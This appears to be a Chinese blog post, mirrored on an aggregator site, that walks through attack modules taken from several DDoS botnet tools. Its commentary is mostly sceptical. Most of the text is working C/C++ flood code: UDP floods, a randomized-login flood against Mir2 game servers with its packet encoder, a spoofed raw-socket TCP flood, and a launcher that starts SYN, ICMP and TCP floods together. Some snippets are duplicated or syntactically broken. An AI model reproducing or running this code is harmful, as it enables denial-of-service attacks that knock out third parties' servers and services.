对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇

来源:互联网 发布:ardupilot3.3源码下载 编辑:程序博客网 时间:2024/06/04 18:56

//=================================================================================

文章作者:alalmn—飞龙
分析者:alalmn—飞龙       BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵

没发现什么新鲜的东西还是以发送垃圾数据为主



//=================================================================================

Maxer-路由专攻-传奇专攻.h

//LUYOU攻击
DWORD WINAPI LuyouFlood(LPVOID dParam) //路由专攻    这样是攻击 路由吗我看和其他发包一样   忽悠老百姓呢
{                                       //我看就socket这个地方使用了使用了UDP啊 没什么的啊
srand((unsigned)time( NULL )); //产生随机数

PDDOSINFO pddosinfo = (PDDOSINFO)dParam;   //攻击结构体
DDOSINFO ddosinfo;   //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存

WSADATA               WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本

SOCKADDR_IN udpaddr;//IP信息结构

udpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
    udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
    udpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket   IPPROTO_UDP是创建UDP   socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项 设置发送和接收的超时      //SOCKET_ERROR创建错误

while(1) //死循环
{
   if(IsStop==1) //判断攻击状态
   {
    ExitThread(0);
    return 0;
   }
   for(int a=0;a<12;a++)
   {
    int sendsize=rand()%512;//随机数据
    char senddata[1024];
    senddata[sendsize];

    memset(senddata,sendsize,sendsize); //随机数据长度 信息

    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));     //发送TCP报文
   }
   Sleep(20);
}

}

/************************************************************************/
//LUYOU攻击
DWORD WINAPI LuyouFlood(LPVOID dParam) //传奇专攻   我还想着是模拟用户登陆传奇呢!!!!   失望
{//只设置1线程 防止IP被封
srand((unsigned)time( NULL ));

PDDOSINFO pddosinfo = (PDDOSINFO)dParam; //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存


WSADATA               WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本

SOCKADDR_IN udpaddr;//IP信息结构

udpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket   IPPROTO_UDP是创建UDP   socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项 设置发送和接收的超时      //SOCKET_ERROR创建错误

while(1) //死循环
{
   if(IsStop==1) //判断攻击状态
   {
    ExitThread(0);
    return 0;
   }
   for(int a=0;a<12;a++)
   {
    int sendsize=rand()%512;//随机数据
    char senddata[1024];
    senddata[sendsize];

    memset(senddata,sendsize,sendsize); //随机数据长度 信息

    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));    //发送TCP报文
   }
   Sleep(20);
}

}


//=================================================================================

NetBot_Attacker-私服专攻.h

int Mir2EnCode(BYTE *pInBuff,DWORD dwInLen,BYTE *pOut,DWORD dwOutLen)

DWORD var_20 = 0; 
BYTE var_1B = 0; 
BYTE var_1A = 0; 
BYTE var_19 = 0; 
DWORD var_18 = 0; 
DWORD var_14 = 0; 
DWORD var_10 = 0; 
DWORD var_C = 0; 
DWORD var_8 = 0; 
DWORD var_4 = 0; 
BYTE bAL = 0; 
BYTE bCL = 0; 
DWORD dwEAX; 
DWORD dwEDX; 
DWORD dwECX; 
var_20 = dwInLen ; 
while(var_20 >0) 

   dwEDX = var_10 ; 
   bAL = pInBuff[dwEDX]; 
   var_1A = bAL ; 
   dwECX = var_14 ; 
   dwECX = dwECX +2; 
   bAL = var_1A; 
   dwEAX = bAL ; 
   dwEAX = dwEAX >> dwECX ; 
   bAL = dwEAX ; 
   bAL = bAL | var_1B;   
   bAL = bAL & 0x3F; 
   var_19 = bAL;    
   dwEAX = var_14 ; 
   dwEAX = dwEAX +2; 
   dwECX = 8; 
   dwECX = dwECX - dwEAX ; 
   bAL = var_1A; 
   dwEAX = bAL ; 
   dwEAX = dwEAX << dwECX ; 
   dwEAX = dwEAX >> 2; 
   bAL = dwEAX ; 
   bAL = bAL & 0x3F ; 
   var_1B = bAL ; 
   var_14 = var_14 +2; 
   if(var_14<6) 
   {   
    dwEDX = var_18;   
    bCL = var_19;   
    bCL = bCL + 0x3C ;   
    pOut[dwEDX] = bCL ;   
    var_18 = var_18 +1; 
   } 
   else 
   {   
    dwEDX = var_18;   
    bCL = var_19;   
    bCL = bCL + 0x3C ;   
    pOut[dwEDX] = bCL ;   
    dwEDX = var_18 ;   
    bCL = var_1B ;   
    bCL = bCL + 0x3C;   
    pOut[dwEDX+1] = bCL ;   
    var_18 = var_18 + 2;   
    dwEAX = 0;   
    var_14 = 0;   
    var_1B = 0; 
   } 
   var_10 = var_10 +1; 
   var_20 = var_20 -1; 

if(var_14 > 0) 

   dwEDX = var_18; 
   bCL = var_1B; 
   bCL = bCL + 0x3C ; 
   pOut[dwEDX] = bCL ; 
   var_18 = var_18 +1; 

dwOutLen = var_18; 
pOut[var_18]=0;
return 1;
}

typedef struct
{
union
{
   DWORD dwFlag;
   struct
   {
    WORD wa;
    WORD wb;
   };
};

WORD wCmd;
WORD w1;
WORD w2;
WORD w3;
char data[1024];
}MMSG;

const char table[]="0123456789abcdefghijklmnopqrstuvwxyz";

unsigned long CALLBACK Login_Attack(LPVOID dParam) //私服专攻
{
WSADATA               WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket   socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~ 
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(fuckweb.FuckPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);   //将网络地址转换成IP地址

MMSG *pmsg;
    pmsg=(MMSG*)malloc(sizeof(MMSG));
    memset(pmsg,0,sizeof(MMSG));   //内存空间初始化
pmsg->wCmd=0x07d1;

int nSize,RandSize;
char name[22],pass[10],tempdata[128],Senddata[128];
memset(name,0,22);//内存空间初始化
memset(pass,0,10);//内存空间初始化
memset(tempdata,0,128);//内存空间初始化
memset(Senddata,0,128);//内存空间初始化

while(!stopfuck)

   do 
   {
    RandSize=SEU_Rand(20); //自定义的随机数发生器
   } while(RandSize<5);
   for(int i=0;i<RandSize;i++)
   {
    name=table[SEU_Rand(36)]; //自定义的随机数发生器
   }
   for(i=0;i<9;i++)
   {
    pass=table[SEU_Rand(36)]; //自定义的随机数发生器
   }
   sprintf(pmsg->data,"%s/%s",name,pass); //字符格式化
   RandSize = strlen(pmsg->data) +12; //strlen计算字符长度
   Mir2EnCode((BYTE *)pmsg,RandSize,(BYTE *)tempdata,nSize); //没明白他这个是做什么
   sprintf(Senddata,"#0%s!",tempdata); //字符格式化
   if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
   {
    closesocket(m_hSocket); //关闭SOCKET
    continue; //退出本次循环
   }
   if(SOCKET_ERROR==send(m_hSocket,Senddata,strlen(Senddata),0))//发送消息 是否发送成功
    continue; //退出本次循环

   recv(m_hSocket,tempdata,128,0); //从一个套接口接收数据
   closesocket(m_hSocket); //关闭SOCKET
}

return 1;
}

/************************************************************************/
路由专攻   //代码被删除了
pMainDlg->m_FuckWeb.FuckType=11;

智能混合攻击    //结合着一些攻击模式
pMainDlg->m_FuckWeb.FuckType=12;
::CreateThread(NULL,0,SynFlood,NULL,0,NULL);
::CreateThread(NULL,0,UDP_flood,NULL,0,NULL);
::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
::CreateThread(NULL,0,connect_break,NULL,0,NULL);
::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
/************************************************************************/

//

暴风DDOSVIP2010-225---聊天室专用模式(流量).h

void ltsattack() //聊天室专用模式(流量)   聊天室都是使用UDP协议 创建协议的时候改成UDP就可以了
{
char senddata[MAX_PATH]="夂扇i鋺.牾.砝摝c5. 軫f玴.吤3?峌贄."; //攻击数据
int sendsize=strlen(senddata); //计算数据长度

SOCKADDR_IN udpaddr; //IP信息结构

udpaddr.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket   IPPROTO_UDP是创建UDP   socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项 设置发送和接收的超时      //SOCKET_ERROR创建错误

for (;;)
{
   if(StopFlag==1)//是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<12;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));   //发送UDP报文
   Sleep(SleepTime);
}
closesocket(s); //关闭SOCKET
WSACleanup();
}

/************************************************************************/
void finattack() 
{
srand((unsigned) time(NULL)); 
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);

SOCKET    SendSocket; 
IP_HEADER    ip_header; 
TCP_HEADER   tcp_header; 
PSD_HEADER   psd_header;

char rawip[20]="192.168.1.244";
char SendBuff[100];

SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED ); 
if( SendSocket == INVALID_SOCKET ) 
   return;

BOOL Flag = TRUE; 
if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR ) 
   return;

int Timeout = 5000; 
if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR ) 
   return;

SOCKADDR_IN    Sin;
Sin.sin_family = AF_INET; 
Sin.sin_port = tgtPort; 
Sin.sin_addr.s_addr = inet_addr(tgtIP);


ip_header.h_verlen = (4<<4 | sizeof(ip_header)/sizeof(unsigned long)); 
ip_header.tos = 0; 
ip_header.total_len = htons(sizeof(ip_header)+sizeof(tcp_header)); 
ip_header.ident = 1; 
ip_header.frag_and_flags = 0x40; 
ip_header.ttl = rand()%256; 
ip_header.proto = IPPROTO_TCP; 
ip_header.checksum = 0; 
ip_header.sourceIP = inet_addr(rawip); 
ip_header.destIP = inet_addr(tgtIP);

tcp_header.th_sport = htons( rand()%60000 + 1 );
tcp_header.th_dport = htons( tgtPort ); 
tcp_header.th_seq = htonl( rand()%900000000 + 1 ); 
tcp_header.th_ack = 0; 
tcp_header.th_lenres = (sizeof(tcp_header)/4<<4|0); 
tcp_header.th_flag = 0;
tcp_header.th_win = htons(512); 
tcp_header.th_sum = 0; 
tcp_header.th_urp = 0;

psd_header.saddr = ip_header.sourceIP; 
psd_header.daddr = ip_header.destIP; 
psd_header.mbz = 0; 
psd_header.ptcl = IPPROTO_TCP; 
psd_header.tcpl = htons(sizeof(tcp_header));

memcpy(SendBuff,&psd_header,sizeof(psd_header)); 
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); 
tcp_header.th_sum=checksum((USHORT*)SendBuff,sizeof(psd_header)+sizeof(tcp_header));

memcpy(SendBuff,&ip_header,sizeof(ip_header)); 
memcpy(SendBuff+sizeof(ip_header),&tcp_header, sizeof(tcp_header)); 
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4); 
ip_header.checksum=checksum((USHORT*)SendBuff,sizeof(ip_header)+sizeof(tcp_header));

memcpy(SendBuff,&ip_header,sizeof(ip_header)); 
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));


while (1)
{
   if (StopFlag == 1)
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<1000;a++)
    sendto(SendSocket, SendBuff, sizeof(ip_header) + sizeof(tcp_header), 0, (struct sockaddr *) &Sin, sizeof(Sin));
   Sleep(SleepTime);
}
return; 
}


else if (hua=="模拟访问(网站)") //代码被删除了
   {
    bao=6;
   }
else if (hua=="模拟Linux(网站)")   //代码被删除
   {
    bao=18;
   }
else if (hua=="聊天室专用模式(流量)") //有
   {
    bao=19;
   }
else if (hua=="IE浏览模式(网站)")   //没有对这个攻击模式的处理
   {
    bao=25;
   }

//=========================================================

0 0